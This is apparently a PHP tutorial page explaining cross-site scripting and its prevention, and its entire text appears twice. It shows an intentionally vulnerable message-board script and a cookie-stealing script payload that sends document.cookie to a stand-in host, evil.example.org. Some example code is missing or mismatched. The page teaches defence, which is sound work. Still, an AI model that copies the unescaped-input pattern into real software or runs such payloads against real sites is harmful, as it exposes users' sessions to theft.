What Is Cross Site Scripting?
Injecting Scripts Into Otherwise Benign and Trusted Browser Rendered Content Cross-site scripting attacks are attacks that target the end user instead of your actual site. Vulnerable web applications that don’t check or validate properly incoming data let arbitrary code to run on a client computer (such as Javascript). The end result can be anything from stealing cookie data or redirecting to a different site, to embedding a browser exploit on a page. Anything that can be done with Javascript (a lot!).
XSS attacks have the following characteristics:
Exploit the trust a user has for a particular site. Users don't necessarily have a high level of trust for any web site, but the browser does. For example, when the browser sends cookies in a request, it is trusting the web site. Users may also have different browsing habits or even different levels of security defined in their browser depending on which site they are visiting. Generally involve web sites that display external data. Applications at a heightened risk include forums, web mail clients, and anything that displays syndicated content (such as RSS feeds). Inject content of the attacker's choosing. When external data is not properly filtered, you might display content of the attacker's choosing. This is just as dangerous as letting the attacker edit your source on the server. How can this happen? If you display content that comes from any external source without properly filtering it, you are vulnerable to XSS.
Foreign data isn't limited to data that comes from the client. It also means email displayed in a web mail client, a banner advertisement, a syndicated blog, and the like. Any information that is not already in the code comes from an external source, and this generally means that most data is external data. Consider the following example of a simplistic message board:
<form>
<input name="message2" type="text" />
<input type="submit" /></form>
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}
");
fclose($fp);
}
readfile('./messages.txt');
?>
This message board appends
to whatever the user enters, appends this to a file, then displays the current contents of the file. Imagine if a user enters the following message: <script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie </script> The next user who visits this message board with JavaScript enabled is redirected to evil.example.org, and any cookies associated with the current site are included in the query string of the URL. Another Example: Let us suppose that there is a comment form in the Michael’s website of a section like photo gallary or article. He created a feature that let his viewers to comment on his photos or article by submitting a form. And he doesnot have much validation in this comment form. Now Sam (inturder) visits the Michael‘s website and he’s jealous of Michael‘s website traffic and wants to steal some of his website’s traffic. Then he can insert the follow code to his comment form Hi Michael, very gud job, keep it up!
And every time a user visits Michael’s article or photos, they are rudely redirected to sam’s site
The following best practices can mitigate the risk of XSS:
Filter all external data.
The data filtering is the most important practice you can adopt. By validating all external data as it enters and exits your application, you will mitigate a majority of XSS concerns.
Use existing functions.
Let PHP help with your filtering logic. Functions like htmlentities(), strip_tags(), and utf8_decode() can be useful. Try to avoid reproducing something that a PHP function already does. Not only is the PHP function much faster, but it is also more tested and less likely to contain errors that yield vulnerabilities.
Use a whitelist approach.
Assume data is invalid until it can be proven valid. This involves verifying the length and also ensuring that only valid characters are allowed. For example, if the user is supplying a last name, you might begin by only allowing alphabetic characters and spaces. Err on the side of caution. While the names O'Reilly and Berners-Lee will be considered invalid, this is easily fixed by adding two more characters to the whitelist. It is better to deny valid data than to accept malicious data.
Use a strict naming convention.
A naming convention can help developers easily distinguish between filtered and unfiltered data. It is important to make things as easy and clear for developers as possible. A lack of clarity yields confusion, and this breeds vulnerabilities.
A much safer version of the simple message board mentioned earlier is as follows:
With the simple addition of htmlentities(), the message board is now much safer. It should not be considered completely secure, but this is probably the easiest step you can take to provide an adequate level of protection. Of course, it is highly recommended that you follow all of the best practices that have been discussed. Prevention from xss attack In php To prevent from XSS attacks, you just have to check and validate properly all user inputted data that you plan on using and dont allow html or javascript code to be inserted from that form. Or you can you Use htmlspecialchars() to convert HTML characters into HTML entities. So characters like <> that mark the beginning/end of a tag are turned into html entities and you can use strip_tags() to only allow some tags as the function does not strip out harmful attributes like the onclick or onload.
Injecting Scripts Into Otherwise Benign and Trusted Browser Rendered Content Cross-site scripting attacks are attacks that target the end user instead of your actual site. Vulnerable web applications that don’t check or validate properly incoming data let arbitrary code to run on a client computer (such as Javascript). The end result can be anything from stealing cookie data or redirecting to a different site, to embedding a browser exploit on a page. Anything that can be done with Javascript (a lot!).
XSS attacks have the following characteristics:
Exploit the trust a user has for a particular site. Users don't necessarily have a high level of trust for any web site, but the browser does. For example, when the browser sends cookies in a request, it is trusting the web site. Users may also have different browsing habits or even different levels of security defined in their browser depending on which site they are visiting. Generally involve web sites that display external data. Applications at a heightened risk include forums, web mail clients, and anything that displays syndicated content (such as RSS feeds). Inject content of the attacker's choosing. When external data is not properly filtered, you might display content of the attacker's choosing. This is just as dangerous as letting the attacker edit your source on the server. How can this happen? If you display content that comes from any external source without properly filtering it, you are vulnerable to XSS.
Foreign data isn't limited to data that comes from the client. It also means email displayed in a web mail client, a banner advertisement, a syndicated blog, and the like. Any information that is not already in the code comes from an external source, and this generally means that most data is external data. Consider the following example of a simplistic message board:
<form>
<input name="message2" type="text" />
<input type="submit" /></form>
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}
");
fclose($fp);
}
readfile('./messages.txt');
?>
This message board appends
to whatever the user enters, appends this to a file, then displays the current contents of the file. Imagine if a user enters the following message: <script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie </script> The next user who visits this message board with JavaScript enabled is redirected to evil.example.org, and any cookies associated with the current site are included in the query string of the URL. Another Example: Let us suppose that there is a comment form in the Michael’s website of a section like photo gallary or article. He created a feature that let his viewers to comment on his photos or article by submitting a form. And he doesnot have much validation in this comment form. Now Sam (inturder) visits the Michael‘s website and he’s jealous of Michael‘s website traffic and wants to steal some of his website’s traffic. Then he can insert the follow code to his comment form Hi Michael, very gud job, keep it up!
And every time a user visits Michael’s article or photos, they are rudely redirected to sam’s site
The following best practices can mitigate the risk of XSS:
Filter all external data.
The data filtering is the most important practice you can adopt. By validating all external data as it enters and exits your application, you will mitigate a majority of XSS concerns.
Use existing functions.
Let PHP help with your filtering logic. Functions like htmlentities(), strip_tags(), and utf8_decode() can be useful. Try to avoid reproducing something that a PHP function already does. Not only is the PHP function much faster, but it is also more tested and less likely to contain errors that yield vulnerabilities.
Use a whitelist approach.
Assume data is invalid until it can be proven valid. This involves verifying the length and also ensuring that only valid characters are allowed. For example, if the user is supplying a last name, you might begin by only allowing alphabetic characters and spaces. Err on the side of caution. While the names O'Reilly and Berners-Lee will be considered invalid, this is easily fixed by adding two more characters to the whitelist. It is better to deny valid data than to accept malicious data.
Use a strict naming convention.
A naming convention can help developers easily distinguish between filtered and unfiltered data. It is important to make things as easy and clear for developers as possible. A lack of clarity yields confusion, and this breeds vulnerabilities.
A much safer version of the simple message board mentioned earlier is as follows:With the simple addition of htmlentities(), the message board is now much safer. It should not be considered completely secure, but this is probably the easiest step you can take to provide an adequate level of protection. Of course, it is highly recommended that you follow all of the best practices that have been discussed. Prevention from xss attack In php To prevent from XSS attacks, you just have to check and validate properly all user inputted data that you plan on using and dont allow html or javascript code to be inserted from that form. Or you can you Use htmlspecialchars() to convert HTML characters into HTML entities. So characters like <> that mark the beginning/end of a tag are turned into html entities and you can use strip_tags() to only allow some tags as the function does not strip out harmful attributes like the onclick or onload.
